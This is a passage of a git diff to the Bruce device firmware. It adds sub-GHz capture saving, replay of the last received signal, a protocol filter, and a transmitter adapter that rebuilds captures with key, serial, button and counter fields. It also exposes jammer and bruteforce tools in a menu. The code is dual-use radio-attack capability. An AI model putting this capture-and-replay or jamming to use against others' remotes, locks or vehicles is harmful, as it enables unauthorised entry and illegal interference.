-bool SubGhzAdvancedEngine::readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame) {
+bool SubGhzAdvancedEngine::readAndDecode(
+    float freqMHz,
+    int timeoutSec,
+    SubGhzAdvancedFrame& frame,
+    String* capture_text) {
     begin();
     if(freqMHz <= 0.0f) freqMHz = bruceConfigPins.rfFreq;
     if(timeoutSec <= 0) timeoutSec = 10;
 
     String capture = RCSwitch_Read(freqMHz, timeoutSec, true, true);
     if(capture.length() == 0) return false;
+    if(capture_text) *capture_text = capture;
 
     const bool full_profile = (m_profile == SubGhzAdvancedProfile::FULL);
-    frame = SubGhzAdvancedDecoderAdapter::decodeBruceCapture(capture, "live-rx", full_profile);
+    const String* protocol_filter = m_protocolFilter.length() ? &m_protocolFilter : nullptr;
+    frame =
+        SubGhzAdvancedDecoderAdapter::decodeBruceCapture(capture, "live-rx", full_profile, protocol_filter);
     if(frame.valid) pushRecent(frame);
     return frame.valid;
 }
diff --git a/src/modules/subghz_advanced/subghz_advanced_engine.h b/src/modules/subghz_advanced/subghz_advanced_engine.h
index 280129dcf..067a3e67c 100644
--- a/src/modules/subghz_advanced/subghz_advanced_engine.h
+++ b/src/modules/subghz_advanced/subghz_advanced_engine.h
@@ -20,6 +20,9 @@ class SubGhzAdvancedEngine {
     void setProfile(SubGhzAdvancedProfile profile);
     SubGhzAdvancedProfile getProfile() const;
     String getProfileName() const;
+    void setProtocolFilter(const String& protocol_name);
+    void clearProtocolFilter();
+    String getProtocolFilter() const;
 
     SubGhzAdvancedFrame analyzeSubFileText(const String& text, const String& source = "");
     bool analyzeSubFile(FS* fs, const String& path, SubGhzAdvancedFrame& frame);
@@ -27,7 +30,11 @@ class SubGhzAdvancedEngine {
     bool transmitSubFile(FS* fs, const String& path, bool hideDefaultUI = false);
     bool transmitPathAuto(const String& path, bool hideDefaultUI = false);
 
-    bool readAndDecode(float freqMHz, int timeoutSec, SubGhzAdvancedFrame& frame);
+    bool readAndDecode(
+        float freqMHz,
+        int timeoutSec,
+        SubGhzAdvancedFrame& frame,
+        String* capture_text = nullptr);
 
     void pushRecent(const SubGhzAdvancedFrame& frame);
     const std::vector<SubGhzAdvancedFrame>& getRecent() const;
@@ -39,6 +46,7 @@ class SubGhzAdvancedEngine {
 
     bool m_initialized = false;
     SubGhzAdvancedProfile m_profile = SubGhzAdvancedProfile::CORE;
+    String m_protocolFilter = "";
     std::vector<SubGhzAdvancedFrame> m_recent;
 
     std::vector<String> m_coreProtocols;
diff --git a/src/modules/subghz_advanced/subghz_advanced_menu.cpp b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
index f5a43f18f..9ff2602de 100644
--- a/src/modules/subghz_advanced/subghz_advanced_menu.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_menu.cpp
@@ -2,11 +2,19 @@
 
 #include "core/display.h"
 #include "core/sd_functions.h"
+#include "core/settings.h"
 #include "core/utils.h"
+#include "modules/rf/record.h"
+#include "modules/rf/rf_bruteforce.h"
+#include "modules/rf/rf_jammer.h"
+#include "modules/rf/rf_listen.h"
 #include "modules/rf/rf_scan.h"
 #include "modules/rf/rf_send.h"
+#include "modules/rf/rf_spectrum.h"
 #include "modules/rf/rf_utils.h"
+#include "modules/rf/rf_waterfall.h"
 #include "subghz_advanced_engine.h"
+#include "subghz_advanced_transmitter_adapter.h"
 
 #include <globals.h>
 
@@ -85,6 +93,11 @@ static void showFrame(const SubGhzAdvancedFrame& f, const String& title) {
 static bool transmitCaptureText(const String& capture, bool hideDefaultUI = false) {
     if(capture.length() == 0) return false;
 
+    const bool full_profile = (eng.getProfile() == SubGhzAdvancedProfile::FULL);
+    if(SubGhzAdvancedTransmitterAdapter::canHandleCapture(capture, full_profile)) {
+        return SubGhzAdvancedTransmitterAdapter::transmitCapture(capture, full_profile, hideDefaultUI);
+    }
+
     const char* tmpPath = "/.subghz_adv_scan_copy_tmp.sub";
     File out = LittleFS.open(tmpPath, FILE_WRITE, true);
     if(!out) return false;
@@ -98,12 +111,11 @@ static bool transmitCaptureText(const String& capture, bool hideDefaultUI = fals
 }
 
 static bool captureAndDecodeAdvanced(int timeoutSec = 10) {
-    String capture = RCSwitch_Read(bruceConfigPins.rfFreq, timeoutSec, true, true);
+    String capture = "";
+    SubGhzAdvancedFrame frame;
+    if(!eng.readAndDecode(bruceConfigPins.rfFreq, timeoutSec, frame, &capture)) return false;
     if(capture.length() == 0) return false;
 
-    SubGhzAdvancedFrame frame = eng.analyzeSubFileText(capture, "scan-copy");
-    if(!frame.valid) return false;
-
     hasLastCapturedFrame = true;
     hasLastCapturedText = true;
     lastCapturedFrame = frame;
@@ -208,6 +220,36 @@ static bool chooseSubFile(FS*& fs, String& path) {
     return path.length() > 0;
 }
 
+static bool chooseStorage(FS*& fs) {
+    fs = &LittleFS;
+    options = {
+        {"LittleFS", [&]() { fs = &LittleFS; }},
+    };
+    if(setupSdCard()) options.insert(options.begin(), {"SD Card", [&]() { fs = &SD; }});
+    loopOptions(options);
+    return fs != nullptr;
+}
+
+static bool saveCaptureTextAsSub(const String& capture, String& savedPath) {
+    savedPath = "";
+    if(capture.length() == 0) return false;
+
+    FS* fs = nullptr;
+    if(!chooseStorage(fs) || fs == nullptr) return false;
+
+    File file = createNewFile(fs, "/BruceRF/SubGHz", "scan_copy.sub");
+    if(!file) return false;
+    file.print(capture);
+    file.close();
+
+    savedPath = file.path();
+    if(savedPath.length()) {
+        lastTxPath = savedPath;
+        lastTxOnSd = (fs == &SD);
+    }
+    return true;
+}
+
 static bool getLastTxFs(FS*& fs) {
     if(lastTxOnSd) {
         if(!setupSdCard()) return false;
@@ -219,14 +261,17 @@ static bool getLastTxFs(FS*& fs) {
 }
 
 static void actionScanAndIdentify() {
+    String capture = "";
     SubGhzAdvancedFrame frame;
-    bool ok = eng.readAndDecode(bruceConfigPins.rfFreq, 10, frame);
+    bool ok = eng.readAndDecode(bruceConfigPins.rfFreq, 10, frame, &capture);
     if(!ok) {
         displayError("No signal decoded", true);
         return;
     }
     hasLastCapturedFrame = true;
+    hasLastCapturedText = (capture.length() > 0);
     lastCapturedFrame = frame;
+    if(hasLastCapturedText) lastCapturedText = capture;
     showFrame(frame, "SubGHz Identify");
 }
 
@@ -238,6 +283,14 @@ static void actionScanCopy() {
 
     std::vector<Option> copy = {
         {"View Decode", []() { showFrame(lastCapturedFrame, "Scan/Copy"); }},
+        {"Save Capture", []() {
+             String path = "";
+             if(!hasLastCapturedText || !saveCaptureTextAsSub(lastCapturedText, path)) {
+                 displayError("Save failed", true);
+                 return;
+             }
+             displaySuccess(path);
+         }},
         {"Replay Capture", []() {
              if(!hasLastCapturedText || !transmitCaptureText(lastCapturedText, false)) {
                  displayError("Replay failed", true);
@@ -315,6 +368,30 @@ static void actionTransmitLastSubFile() {
     }
 }
 
+static void actionReplayLastCapture() {
+    if(!hasLastCapturedText) {
+        displayInfo("No last RX capture", true);
+        return;
+    }
+    if(!transmitCaptureText(lastCapturedText, false)) {
+        displayError("Replay failed", true);
+    }
+}
+
+static void showRecentActions(const SubGhzAdvancedFrame& frame) {
+    std::vector<Option> actions = {
+        {"View", [frame]() { showFrame(frame, "Recent"); }},
+        {"Rolling Tools", [frame]() { rollingToolsForFrame(frame); }},
+        {"Set As Last Decode", [frame]() {
+             hasLastCapturedFrame = true;
+             lastCapturedFrame = frame;
+             displaySuccess("Last decode updated");
+         }},
+    };
+    addOptionToMainMenu();
+    loopOptions(actions, MENU_TYPE_SUBMENU, "Recent Action");
+}
+
 static void actionRecent() {
     const auto& recent = eng.getRecent();
     if(recent.empty()) {
@@ -322,13 +399,15 @@ static void actionRecent() {
         return;
     }
 
+    size_t selected = SIZE_MAX;
     std::vector<Option> opts;
     for(size_t i = 0; i < recent.size(); i++) {
         String label = String(i + 1) + ") " + recent[i].protocol_name;
-        opts.emplace_back(label, [i, &recent]() { showFrame(recent[i], "Recent"); });
+        opts.emplace_back(label, [i, &selected]() { selected = i; });
     }
     addOptionToMainMenu();
     loopOptions(opts, MENU_TYPE_SUBMENU, "SubGHz Recent");
+    if(selected != SIZE_MAX && selected < recent.size()) showRecentActions(recent[selected]);
 }
 
 static void actionDecoderRegistry() {
@@ -387,10 +466,40 @@ static void actionRollingMenu() {
 
 static void actionSettings() {
     int idx = eng.getProfile() == SubGhzAdvancedProfile::FULL ? 1 : 0;
+    String currentFilter = eng.getProtocolFilter();
+    if(currentFilter.length() == 0) currentFilter = "Any";
+    String filterLabel = "Protocol Filter: " + currentFilter;
 
     std::vector<Option> settings = {
         {"Profile: CORE", [&]() { eng.setProfile(SubGhzAdvancedProfile::CORE); }},
         {"Profile: FULL", [&]() { eng.setProfile(SubGhzAdvancedProfile::FULL); }},
+        {filterLabel, []() {
+             String selected = "";
+             bool changed = false;
+             std::vector<Option> filterOptions = {
+                 {"Any", [&]() {
+                      selected = "";
+                      changed = true;
+                  }},
+             };
+
+             const auto& protocols = eng.getEnabledProtocolNames();
+             for(const auto& protocol : protocols) {
+                 filterOptions.emplace_back(protocol, [&, protocol]() {
+                     selected = protocol;
+                     changed = true;
+                 });
+             }
+
+             addOptionToMainMenu();
+             loopOptions(filterOptions, MENU_TYPE_SUBMENU, "Protocol Filter");
+
+             if(!changed) return;
+             if(selected.length() == 0)
+                 eng.clearProtocolFilter();
+             else
+                 eng.setProtocolFilter(selected);
+         }},
         {"Set Frequency", []() { setMHZMenu(); }},
         {"Set Range", []() { rf_range_selection(bruceConfigPins.rfFreq); }},
     };
@@ -398,6 +507,41 @@ static void actionSettings() {
     loopOptions(settings, MENU_TYPE_SUBMENU, "SubGHz Settings", idx);
 }
 
+static void actionLegacyConfig() {
+    std::vector<Option> cfg = {
+        {"RF TX Pin", lambdaHelper(gsetRfTxPin, true)},
+        {"RF RX Pin", lambdaHelper(gsetRfRxPin, true)},
+        {"RF Module", setRFModuleMenu},
+        {"RF Frequency", setRFFreqMenu},
+    };
+    addOptionToMainMenu();
+    loopOptions(cfg, MENU_TYPE_SUBMENU, "RF Config");
+}
+
+static void actionLegacyTools() {
+    std::vector<Option> legacy = {
+        {"Scan/copy (Legacy+)", []() { RFScan(); }},
+#if !defined(LITE_VERSION)
+        {"Record RAW", rf_raw_record},
+        {"Custom SubGhz", sendCustomRF},
+#endif
+        {"Spectrum", rf_spectrum},
+#if !defined(LITE_VERSION)
+        {"RSSI Spectrum", rf_CC1101_rssi},
+        {"SquareWave Spec", rf_SquareWave},
+        {"Spectogram", rf_waterfall},
+#if defined(BUZZ_PIN) || (defined(HAS_NS4168_SPKR) && defined(RF_LISTEN_H))
+        {"Listen", rf_listen},
+#endif
+        {"Bruteforce", rf_bruteforce},
+        {"Jammer", []() { RFJammer(true); }},
+#endif
+        {"RF Config", actionLegacyConfig},
+    };
+    addOptionToMainMenu();
+    loopOptions(legacy, MENU_TYPE_SUBMENU, "SubGHz Legacy+");
+}
+
 static void actionRxMenu() {
     std::vector<Option> rx = {
         {"Scan & Identify", actionScanAndIdentify},
@@ -411,6 +555,7 @@ static void actionRxMenu() {
 
 static void actionTxMenu() {
     std::vector<Option> tx = {
+        {"Replay Last RX", actionReplayLastCapture},
         {"Transmit .sub", actionTransmitSubFile},
         {"Transmit Last", actionTransmitLastSubFile},
     };
@@ -431,14 +576,17 @@ void subghz_advanced_menu() {
     eng.begin();
 
     options = {
-        {"RX", actionRxMenu},
-        {"TX", actionTxMenu},
-        {"Analyze", actionAnalyzeMenu},
+        {"RX (Advanced)", actionRxMenu},
+        {"TX (Advanced)", actionTxMenu},
+        {"Analyze (Advanced)", actionAnalyzeMenu},
         {"Recent", actionRecent},
+        {"Legacy+ Tools", actionLegacyTools},
         {"Settings", actionSettings},
     };
 
     addOptionToMainMenu();
-    String title = "SubGHz Advanced [" + eng.getProfileName() + "]";
+    String title = "SubGHz Unified [" + eng.getProfileName() + "]";
+    String filter = eng.getProtocolFilter();
+    if(filter.length()) title += " {" + filter + "}";
     loopOptions(options, MENU_TYPE_SUBMENU, title.c_str());
 }
diff --git a/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
index a430e11ef..57d74780c 100644
--- a/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
+++ b/src/modules/subghz_advanced/subghz_advanced_subfile_codec.cpp
@@ -82,6 +82,11 @@ SubGhzAdvancedFrame SubGhzAdvancedSubFileCodec::parse(const String& text, const
     String protocol = "";
     String key = "";
     String rawData = "";
+    String detectedProtocol = "";
+    String detectedKey = "";
+    String detectedSerial = "";
+    String detectedButton = "";
+    String detectedCounter = "";
 
     int lineStart = 0;
     while(lineStart <= (int)text.length()) {
@@ -108,7 +113,17 @@ SubGhzAdvancedFrame SubGhzAdvancedSubFileCodec::parse(const String& text, const
             else if(k == "RAW_Data" || k == "Data_RAW") {
                 if(rawData.length()) rawData += " ";
                 rawData += v;
-            } else if(k == "Preset") {
+            } else if(k == "Detected_Protocol")
+                detectedProtocol = v;
+            else if(k == "Detected_Key")
+                detectedKey = v;
+            else if(k == "Detected_Serial")
+                detectedSerial = v;
+            else if(k == "Detected_Button")
+                detectedButton = v;
+            else if(k == "Detected_Counter")
+                detectedCounter = v;
+            else if(k == "Preset") {
                 if(frame.notes.length()) frame.notes += "; ";
                 frame.notes += "Preset=" + v;
             } else if(k == "Manufacturer") {
@@ -122,6 +137,15 @@ SubGhzAdvancedFrame SubGhzAdvancedSubFileCodec::parse(const String& text, const
     }
 
     frame.protocol_name = protocol.length() ? protocol : "Unknown";
+    if(detectedProtocol.length()) {
+        if(frame.protocol_name == "RcSwitch" || frame.protocol_name == "RAW" || frame.protocol_name == "Unknown") {
+            frame.protocol_name = detectedProtocol;
+        } else if(frame.notes.length()) {
+            frame.notes += "; Detected=" + detectedProtocol;
+        } else {
+            frame.notes = "Detected=" + detectedProtocol;
+        }
+    }
 
     key = normalizeHexLike(key);
     if(key.length() == 0 && frame.protocol_name == "RcSwitch") {
@@ -141,6 +165,15 @@ SubGhzAdvancedFrame SubGhzAdvancedSubFileCodec::parse(const String& text, const
     frame.key_hex = normalizeHexLike(frame.key_hex);
 
     frame.serial = normalizeHexLike(frame.serial);
+    detectedKey = normalizeHexLike(detectedKey);
+    detectedSerial = normalizeHexLike(detectedSerial);
+    detectedButton = normalizeHexLike(detectedButton);
+    detectedCounter = normalizeHexLike(detectedCounter);
+
+    if(frame.key_hex.length() == 0 && detectedKey.length()) frame.key_hex = detectedKey;
+    if(frame.serial.length() == 0 && detectedSerial.length()) frame.serial = detectedSerial;
+    if(frame.button.length() == 0 && detectedButton.length()) frame.button = detectedButton;
+    if(frame.counter.length() == 0 && detectedCounter.length()) frame.counter = detectedCounter;
 
     frame.valid = frame.filetype.length() > 0 || protocol.length() > 0 || key.length() > 0 ||
                   rawData.length() > 0;
diff --git a/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.cpp b/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.cpp
new file mode 100644
index 000000000..1c6da6e9a
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.cpp
@@ -0,0 +1,340 @@
+#include "subghz_advanced_transmitter_adapter.h"
+
+#include "core/display.h"
+#include "modules/rf/rf_utils.h"
+#include "subghz_advanced_decoder_adapter.h"
+
+#include <globals.h>
+
+#include <lib/flipper_format/flipper_format.h>
+#include <lib/toolbox/level_duration.h>
+#include <subghz/environment.h>
+#include <subghz/transmitter.h>
+
+static bool splitLineKV(const String& line, String& key, String& value) {
+    const int idx = line.indexOf(':');
+    if(idx <= 0) return false;
+    key = line.substring(0, idx);
+    value = line.substring(idx + 1);
+    key.trim();
+    value.trim();
+    return key.length() > 0;
+}
+
+static bool upsertField(String& text, const String& field, const String& value) {
+    if(field.length() == 0 || value.length() == 0) return false;
+
+    String out = "";
+    bool replaced = false;
+    int line_start = 0;
+
+    while(line_start <= (int)text.length()) {
+        int line_end = text.indexOf('\n', line_start);
+        if(line_end < 0) line_end = text.length();
+
+        String raw_line = text.substring(line_start, line_end);
+        String line = raw_line;
+        line.replace("\r", "");
+        line.trim();
+
+        String key;
+        String current;
+        if(splitLineKV(line, key, current) && key == field) {
+            if(!replaced) {
+                out += field + ": " + value + "\n";
+                replaced = true;
+            }
+        } else {
+            out += raw_line;
+            out += "\n";
+        }
+
+        if(line_end == (int)text.length()) break;
+        line_start = line_end + 1;
+    }
+
+    if(!replaced) out += field + ": " + value + "\n";
+    text = out;
+    return true;
+}
+
+static bool findField(const String& text, const String& field, String& out_value) {
+    out_value = "";
+    int line_start = 0;
+    while(line_start <= (int)text.length()) {
+        int line_end = text.indexOf('\n', line_start);
+        if(line_end < 0) line_end = text.length();
+
+        String line = text.substring(line_start, line_end);
+        line.replace("\r", "");
+        line.trim();
+
+        String key;
+        String value;
+        if(splitLineKV(line, key, value) && key == field) {
+            out_value = value;
+            return true;
+        }
+
+        if(line_end == (int)text.length()) break;
+        line_start = line_end + 1;
+    }
+    return false;
+}
+
+static bool isLegacyProtocolName(const String& protocol_name) {
+    return protocol_name.length() == 0 || protocol_name == "RcSwitch" || protocol_name == "RAW" ||
+           protocol_name == "BinRAW";
+}
+
+static bool extractEffectiveProtocolName(
+    const String& capture,
+    String& protocol_name,
+    bool* using_detected_protocol = nullptr) {
+    if(using_detected_protocol) *using_detected_protocol = false;
+    protocol_name = "";
+    if(capture.length() == 0) return false;
+
+    String protocol = "";
+    (void)findField(capture, "Protocol", protocol);
+    protocol.trim();
+
+    if(!isLegacyProtocolName(protocol)) {
+        protocol_name = protocol;
+        return protocol_name.length() > 0;
+    }
+
+    String detected = "";
+    if(findField(capture, "Detected_Protocol", detected)) {
+        detected.trim();
+        if(!isLegacyProtocolName(detected)) {
+            protocol_name = detected;
+            if(using_detected_protocol) *using_detected_protocol = true;
+            return true;
+        }
+    }
+
+    protocol_name = protocol;
+    return protocol_name.length() > 0;
+}
+
+static String buildAdvancedTxCapture(const String& capture, const String& effective_protocol_name) {
+    String out = capture;
+    if(out.length() == 0 || effective_protocol_name.length() == 0) return out;
+
+    // Force protocol to selected advanced decoder/encoder when source file is legacy.
+    upsertField(out, "Protocol", effective_protocol_name);
+
+    String key = "";
+    String serial = "";
+    String button = "";
+    String counter = "";
+    (void)findField(out, "Key", key);
+    (void)findField(out, "Serial", serial);
+    (void)findField(out, "Button", button);
+    (void)findField(out, "Counter", counter);
+
+    String detected_key = "";
+    String detected_serial = "";
+    String detected_button = "";
+    String detected_counter = "";
+    (void)findField(capture, "Detected_Key", detected_key);
+    (void)findField(capture, "Detected_Serial", detected_serial);
+    (void)findField(capture, "Detected_Button", detected_button);
+    (void)findField(capture, "Detected_Counter", detected_counter);
+
+    key.trim();
+    serial.trim();
+    button.trim();
+    counter.trim();
+    detected_key.trim();
+    detected_serial.trim();
+    detected_button.trim();
+    detected_counter.trim();
+
+    if(key.length() == 0 && detected_key.length()) upsertField(out, "Key", detected_key);
+    if(serial.length() == 0 && detected_serial.length()) upsertField(out, "Serial", detected_serial);
+    if(button.length() == 0 && detected_button.length()) upsertField(out, "Button", detected_button);
+    if(counter.length() == 0 && detected_counter.length()) upsertField(out, "Counter", detected_counter);
+
+    return out;
+}
+
+struct TxPresetConfig {
+    uint8_t modulation = 2; // ASK/OOK by default
+    float deviation = 1.58f;
+    float rx_bw = 270.83f;
+    float data_rate = 10.0f;
+    bool valid = true;
+};
+
+static bool resolvePresetConfig(const String& preset_name, TxPresetConfig& cfg) {
+    cfg = TxPresetConfig{};
+    String preset = preset_name;
+    preset.trim();
+
+    if(preset == "FuriHalSubGhzPresetOok270Async") {
+        cfg.modulation = 2;
+        cfg.rx_bw = 270;
+    } else if(preset == "FuriHalSubGhzPresetOok650Async") {
+        cfg.modulation = 2;
+        cfg.rx_bw = 650;
+    } else if(preset == "FuriHalSubGhzPreset2FSKDev238Async") {
+        cfg.modulation = 0;
+        cfg.deviation = 2.380371f;
+        cfg.rx_bw = 238;
+    } else if(preset == "FuriHalSubGhzPreset2FSKDev476Async") {
+        cfg.modulation = 0;
+        cfg.deviation = 47.60742f;
+        cfg.rx_bw = 476;
+    } else if(preset == "FuriHalSubGhzPresetMSK99_97KbAsync") {
+        cfg.modulation = 4;
+        cfg.deviation = 47.60742f;
+        cfg.data_rate = 99.97f;
+    } else if(preset == "FuriHalSubGhzPresetGFSK9_99KbAsync") {
+        cfg.modulation = 1;
+        cfg.deviation = 19.042969f;
+        cfg.data_rate = 9.996f;
+    } else if(preset.length() == 0 || preset == "FuriHalSubGhzPresetCustom") {
+        cfg.modulation = 2;
+        cfg.rx_bw = 270;
+    } else {
+        // Numeric presets are legacy rc-switch IDs; treat as OOK.
+        bool numeric = true;
+        for(size_t i = 0; i < preset.length(); i++) {
+            if(preset[i] < '0' || preset[i] > '9') {
+                numeric = false;
+                break;
+            }
+        }
+        if(!numeric) cfg.valid = false;
+    }
+    return cfg.valid;
+}
+
+static bool prepareTxHardware(uint32_t frequency_hz, const String& preset_name, int& tx_pin_out) {
+    tx_pin_out = -1;
+    if(frequency_hz == 0) frequency_hz = uint32_t(bruceConfigPins.rfFreq * 1000000.0f);
+    const float frequency_mhz = frequency_hz / 1000000.0f;
+
+    TxPresetConfig cfg;
+    if(!resolvePresetConfig(preset_name, cfg)) return false;
+    if(!initRfModule("", frequency_mhz)) return false;
+
+    if(bruceConfigPins.rfModule == CC1101_SPI_MODULE) {
+        ELECHOUSE_cc1101.setModulation(cfg.modulation);
+        if(cfg.deviation > 0.0f) ELECHOUSE_cc1101.setDeviation(cfg.deviation);
+        if(cfg.rx_bw > 0.0f) ELECHOUSE_cc1101.setRxBW(cfg.rx_bw);
+        if(cfg.data_rate > 0.0f) ELECHOUSE_cc1101.setDRate(cfg.data_rate);
+
+        tx_pin_out = bruceConfigPins.CC1101_bus.io0;
+        pinMode(tx_pin_out, OUTPUT);
+        ELECHOUSE_cc1101.setPA(12);
+        ioExpander.turnPinOnOff(IO_EXP_CC_RX, LOW);
+        ioExpander.turnPinOnOff(IO_EXP_CC_TX, HIGH);
+        ELECHOUSE_cc1101.SetTx();
+    } else {
+        if(cfg.modulation != 2) return false;
+        if(!initRfModule("tx", frequency_mhz)) return false;
+        tx_pin_out = bruceConfigPins.rfTx;
+        pinMode(tx_pin_out, OUTPUT);
+    }
+
+    digitalWrite(tx_pin_out, LOW);
+    return true;
+}
+
+static void stopTxHardware(int tx_pin) {
+    if(tx_pin >= 0) digitalWrite(tx_pin, LOW);
+    deinitRfModule();
+}
+
+bool SubGhzAdvancedTransmitterAdapter::extractProtocolName(
+    const String& capture,
+    String& protocol_name) {
+    return extractEffectiveProtocolName(capture, protocol_name);
+}
+
+bool SubGhzAdvancedTransmitterAdapter::canHandleCapture(const String& capture, bool full_profile) {
+    String protocol_name;
+    if(!extractEffectiveProtocolName(capture, protocol_name)) return false;
+    if(isLegacyProtocolName(protocol_name)) return false;
+    return SubGhzAdvancedDecoderAdapter::isProtocolEnabled(protocol_name, full_profile);
+}
+
+bool SubGhzAdvancedTransmitterAdapter::transmitCapture(
+    const String& capture,
+    bool full_profile,
+    bool hideDefaultUI) {
+    String protocol_name;
+    if(!extractEffectiveProtocolName(capture, protocol_name)) return false;
+    if(isLegacyProtocolName(protocol_name)) return false;
+    if(!SubGhzAdvancedDecoderAdapter::isProtocolEnabled(protocol_name, full_profile)) return false;
+
+    String tx_capture = buildAdvancedTxCapture(capture, protocol_name);
+
+    String preset = "";
+    (void)findField(tx_capture, "Preset", preset);
+
+    String freq = "";
+    uint32_t frequency_hz = 0;
+    if(findField(tx_capture, "Frequency", freq)) frequency_hz = strtoul(freq.c_str(), NULL, 10);
+
+    SubGhzEnvironment* env = subghz_environment_alloc();
+    if(!env) return false;
+    subghz_environment_set_protocol_registry(
+        env, SubGhzAdvancedDecoderAdapter::getProtocolRegistry(full_profile));
+    (void)subghz_environment_load_keystore(env, "/mfcodes");
+
+    FlipperFormat* ff = flipper_format_file_alloc(nullptr);
+    if(!ff) {
+        subghz_environment_free(env);
+        return false;
+    }
+    if(!flipper_format_load_from_string(ff, tx_capture.c_str())) {
+        flipper_format_free(ff);
+        subghz_environment_free(env);
+        return false;
+    }
+
+    SubGhzTransmitter* tx = subghz_transmitter_alloc_init(env, protocol_name.c_str());
+    if(!tx) {
+        flipper_format_free(ff);
+        subghz_environment_free(env);
+        return false;
+    }
+
+    bool ok = false;
+    int tx_pin = -1;
+    do {
+        if(subghz_transmitter_deserialize(tx, ff) != SubGhzProtocolStatusOk) break;
+        if(!prepareTxHardware(frequency_hz, preset, tx_pin)) break;
+
+        if(!hideDefaultUI) displayTextLine("Sending..");
+
+        static constexpr size_t kMaxYields = 250000;
+        for(size_t i = 0; i < kMaxYields; i++) {
+            LevelDuration ld = subghz_transmitter_yield(tx);
+            if(level_duration_is_reset(ld)) {
+                ok = true;
+                break;
+            }
+            if(level_duration_is_wait(ld)) {
+                delayMicroseconds(100);
+                continue;
+            }
+
+            uint32_t duration = level_duration_get_duration(ld);
+            if(duration == 0 || duration > 2000000UL) continue;
+            digitalWrite(tx_pin, level_duration_get_level(ld) ? HIGH : LOW);
+            delayMicroseconds(duration);
+        }
+    } while(false);
+
+    stopTxHardware(tx_pin);
+    subghz_transmitter_stop(tx);
+    subghz_transmitter_free(tx);
+    flipper_format_free(ff);
+    subghz_environment_free(env);
+    return ok;
+}
diff --git a/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.h b/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.h
new file mode 100644
index 000000000..fca1efec9
--- /dev/null
+++ b/src/modules/subghz_advanced/subghz_advanced_transmitter_adapter.h
@@ -0,0 +1,13 @@
+#ifndef __SUBGHZ_ADVANCED_TRANSMITTER_ADAPTER_H__
+#define __SUBGHZ_ADVANCED_TRANSMITTER_ADAPTER_H__
+
+#include <Arduino.h>
+
+class SubGhzAdvancedTransmitterAdapter {
+public:
+    static bool extractProtocolName(const String& capture, String& protocol_name);
+    static bool canHandleCapture(const String& capture, bool full_profile);
+    static bool transmitCapture(const String& capture, bool full_profile, bool hideDefaultUI = false);
+};
+
+#endif
diff --git a/tools/subghz_protocol_coverage_check.py b/tools/subghz_protocol_coverage_check.py
new file mode 100755
index 000000000..bfb95244c
--- /dev/null
+++ b/tools/subghz_protocol_coverage_check.py
@@ -0,0 +1,83 @@
+#!/usr/bin/env python3
+"""Validate SubGHz advanced FULL registry coverage against vendored Unleashed protocols.
+
+Checks that the FULL protocol list in:
+  src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp
+matches the protocol registry from:
+  lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c
+
+By design we currently exclude RAW/BinRAW from the advanced decoder runtime list.
+"""
+
+from __future__ import annotations
+
+import re
+import sys
+from pathlib import Path
+from typing import Iterable
+
+
+ROOT = Path(__file__).resolve().parents[1]
+ADAPTER = ROOT / "src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp"
+VENDOR_ITEMS = ROOT / "lib/subghz_unleashed_vendor/src/subghz/protocols/protocol_items.c"
+INTENTIONAL_EXCLUDE = {"raw", "bin_raw"}
+
+
+def _extract_array_symbols(content: str, array_name: str) -> list[str]:
+    pattern = rf"{re.escape(array_name)}\[\].*?\{{(.*?)\}};"
+    match = re.search(pattern, content, re.S)
+    if not match:
+        raise RuntimeError(f"Unable to find array `{array_name}`")
+    body = match.group(1)
+    return re.findall(r"&\s*(subghz_protocol_[a-zA-Z0-9_]+)", body)
+
+
+def _normalize(symbols: Iterable[str]) -> set[str]:
+    out = set()
+    prefix = "subghz_protocol_"
+    for symbol in symbols:
+        name = symbol.strip()
+        if name.startswith(prefix):
+            name = name[len(prefix) :]
+        out.add(name)
+    return out
+
+
+def main() -> int:
+    adapter_text = ADAPTER.read_text(encoding="utf-8")
+    vendor_text = VENDOR_ITEMS.read_text(encoding="utf-8")
+
+    full_symbols = _extract_array_symbols(adapter_text, "kFullProtocols")
+    vendor_symbols = _extract_array_symbols(vendor_text, "subghz_protocol_registry_items")
+
+    full_set = _normalize(full_symbols)
+    vendor_set = _normalize(vendor_symbols)
+    expected_set = vendor_set - INTENTIONAL_EXCLUDE
+
+    missing = sorted(expected_set - full_set)
+    extra = sorted(full_set - expected_set)
+
+    print(f"FULL registry entries: {len(full_set)}")
+    print(f"Vendor registry entries: {len(vendor_set)}")
+    print(f"Intentional exclusions: {', '.join(sorted(INTENTIONAL_EXCLUDE))}")
+    print(f"Expected FULL entries: {len(expected_set)}")
+
+    if missing:
+        print("\nMissing in FULL registry:")
+        for item in missing:
+            print(f"  - {item}")
+
+    if extra:
+        print("\nExtra in FULL registry:")
+        for item in extra:
+            print(f"  - {item}")
+
+    if missing or extra:
+        return 1
+
+    print("\nCoverage OK: FULL registry is in sync with vendor (excluding RAW/BinRAW).")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/tools/subghz_unleashed_sample_matrix.py b/tools/subghz_unleashed_sample_matrix.py
new file mode 100755
index 000000000..f37e65634
--- /dev/null
+++ b/tools/subghz_unleashed_sample_matrix.py
@@ -0,0 +1,355 @@
+#!/usr/bin/env python3
+"""Build a SubGHz validation matrix from Unleashed unit test fixtures.
+
+This script parses:
+- Unleashed unit test definitions (decoder/encoder sample references)
+- Bruce advanced CORE/FULL protocol registries
+- Vendored protocol symbol -> display-name mapping
+
+It produces a Markdown report that helps track roadmap item:
+"Run .sub sample battery and validate identified protocol coverage".
+"""
+
+from __future__ import annotations
+
+import argparse
+import datetime as _dt
+import re
+import sys
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Dict, Iterable, List, Tuple
+
+
+ROOT = Path(__file__).resolve().parents[1]
+UNIT_TEST_C = (
+    ROOT
